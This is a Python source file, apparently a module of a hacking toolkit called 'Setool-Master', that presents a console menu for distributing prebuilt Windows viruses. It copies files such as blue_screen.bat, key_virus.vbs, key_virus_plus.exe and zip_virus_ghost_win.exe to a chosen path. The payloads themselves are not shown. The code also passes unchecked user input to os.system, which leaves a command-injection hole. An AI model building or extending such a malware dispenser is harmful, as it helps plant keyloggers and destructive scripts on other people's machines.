def exploit_virus():
    print("[!]Enter 'exit' to exit")
    print("[!]Enter 'show options' to show all project")
    print("")
    print("[!]The Virus only run on windows os")
    def main_exploit_virus():
        options = input("Setool-Master~/Main Console~/exploit_virus//")

        if options == "exit": #exit the exploit_virus payload
            import setool as setool
            setool.main()
            return True
        
        if options == "show options": #show all the project of the payload
            def show_options():
                print("""
    1:Basic virus attack      enter:1
    2:Advanced virus attack   enter:2
                """)
                return True
            show_options()
            main_exploit_virus()
            return True
        if options == "1":
            print("[!]Enter 'exit' to exit")
            print("[!]Enter 'show options' to show all project")
            def virus_attack_1():
                def virus_attack_1_options():
                    print("""
    1:blue_screen_virus    enter:1
    2:file_virus           enter:2
    3:key_virus            enter:3
    4:win_virus            enter:4
    5:window_virus         enter:5
                    """)
                    return True

                attack_options = input("Setool-Master~/Main Console~/exploit_virus~/Basic virus attack//")
                def virus_save_path(virus_name):
                    print("[*]Virus Name:"+virus_name)
                    virus_save = input("Enter path to save virus:") #save virus
                    import os
                    if os.name == "posix":
                        #linux
                        import os
                        os.system("cp virus/virus_1/"+virus_name+" "+virus_save)
                        virus_attack_1()
                        return True
                    if os.name == "nt":
                        #windows 
                        import os
                        os.system("copy virus/virus_1/"+virus_name+" "+virus_save)
                        virus_attack_1()
                        return True
                    else:
                        print("[!]Unknow Optioning System")
        
                if attack_options == "1":
                    #blue screen virus
                    virus_name = "blue_screen.bat"
                    virus_save_path(virus_name)
                    virus_attack_1()
                    return True
                if attack_options == "2":
                    #file_virus
                    virus_name = "file_virus.bat"
                    virus_save_path(virus_name)
                    virus_attack_1()
                    return True
                if attack_options == "3":
                    #key_virus.bat
                    virus_name = "key_virus.vbs"
                    virus_save_path(virus_name)
                    virus_attack_1()
                    return True
                if attack_options == "4":
                    #win_virus.vbs
                    virus_name = "win_virus.vbs"
                    virus_save_path(virus_name)
                    virus_attack_1()
                    return True
                if attack_options == "5":
                    #window_virus
                    virus_name = "window_virus.bat"
                    virus_save_path(virus_name)
                    virus_attack_1()
                    return True
                if attack_options == "show options":
                    virus_attack_1_options()
                    virus_attack_1()
                    return True
                
                else:
                    main_exploit_virus()
                        

            virus_attack_1()
        
        if options == "2":
            #Advanced virus attack
            print("[!]Enter 'exit' to exit")
            print("[!]Enter 'show options' to show all project")
            print("")
            print("[!]The Virus only run on windows os")
            def virus_attack_2():
                attack_options = input("Setool-Master~/Main Console~/exploit_virus~/Advanced virus attack//")
                if attack_options == "show options":
                    def virus_attack_2_options():
                        print("""
    1:key_virus_plus             enter:1
    2:zip_virus (Ghost Windows)  enter:2
                        """)
                        return True
                    virus_attack_2_options()
                    virus_attack_2()
                    return True
                def virus_save_path(virus_name):
                    print("[*]Virus Name:"+virus_name)
                    virus_save = input("Enter path to save virus:") #save virus
                    import os
                    if os.name == "posix":
                        #linux
                        import os
                        os.system("cp virus/virus_2/"+virus_name+" "+virus_save)
                        main_exploit_virus()
                        return True
                    if os.name == "nt":
                        #windows 
                        import os
                        os.system("copy virus/virus_2/"+virus_name+" "+virus_save)
                        main_exploit_virus()
                        return True
                    else:
                        print("[!]Unknow Optioning System")
                        return False

                if attack_options == "1":
                    virus_name = "key_virus_plus.exe"
                    virus_save_path(virus_name)
                    virus_attack_2()
                    return True
                if attack_options == "2":
                    virus_name = "zip_virus_ghost_win.exe"
                    virus_save_path(virus_name)
                    virus_attack_2()
                    return True
                if attack_options == "exit":
                    exploit_virus()
                    return True
                else:
                    virus_attack_2()
                    return False
            virus_attack_2()
        else:
            main_exploit_virus()
            return False

    main_exploit_virus()
